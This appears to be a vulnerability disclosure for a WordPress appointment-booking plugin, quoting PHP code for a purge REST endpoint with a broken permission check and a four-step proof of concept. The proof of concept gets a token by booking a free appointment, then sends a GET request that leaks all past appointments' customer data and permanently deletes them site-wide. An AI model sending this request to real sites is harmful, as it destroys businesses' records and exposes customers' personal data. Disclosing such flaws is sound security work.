// Route registration
register_rest_route( $namespace, '/' . $base . '/purge', array(
    array(
        'methods'             => WP_REST_Server::READABLE,
        'callback'            => array( $this, 'purge_appointments' ),
        'permission_callback' => array( $this, 'get_items_permissions_check' ),
    ),
) );

public function get_items_permissions_check( $request ) {
    // ...
    if ( true === $this->id_token_permissions_check( $request ) ) {
        return true;  // grants access if caller proves ownership of one appointment
    }
    // ...
}

public function purge_appointments( WP_REST_Request $request ) {
    $params = $request->get_params();

    // No customer_id or appointment_id scoping — deletes ALL matching appointments
    if ( isset( $params['purge_past_appointments'] ) && 'true' === $params['purge_past_appointments'] ) {
        $conditions[] = $wpdb->prepare( 'end_date < %s', $date_modified_max->format( 'Y-m-d' ) );
    }

    $sql = 'SELECT * FROM ' . $this->get_table_name()
         . ' WHERE ' . implode( ' OR ', $conditions )
         . ' ORDER BY id ASC LIMIT 5000';

    $list = $wpdb->get_results( $sql, ARRAY_A );
    // Cascade-deletes across 6 tables in committed transactions
}

1. Attacker visits the booking page and books any free appointment
   → receives confirmation email containing: appointment_id + id_token

2. GET /wp-json/ssa/v1/appointments/purge
     ?id=<appointment_id>
     &token=<id_token>
     &purge_past_appointments=true

3. Permission check passes (valid token for attacker's own appointment)

4. Handler selects ALL past appointments site-wide → returns PII in response
   → permanently deletes them across 6 tables (on premium editions)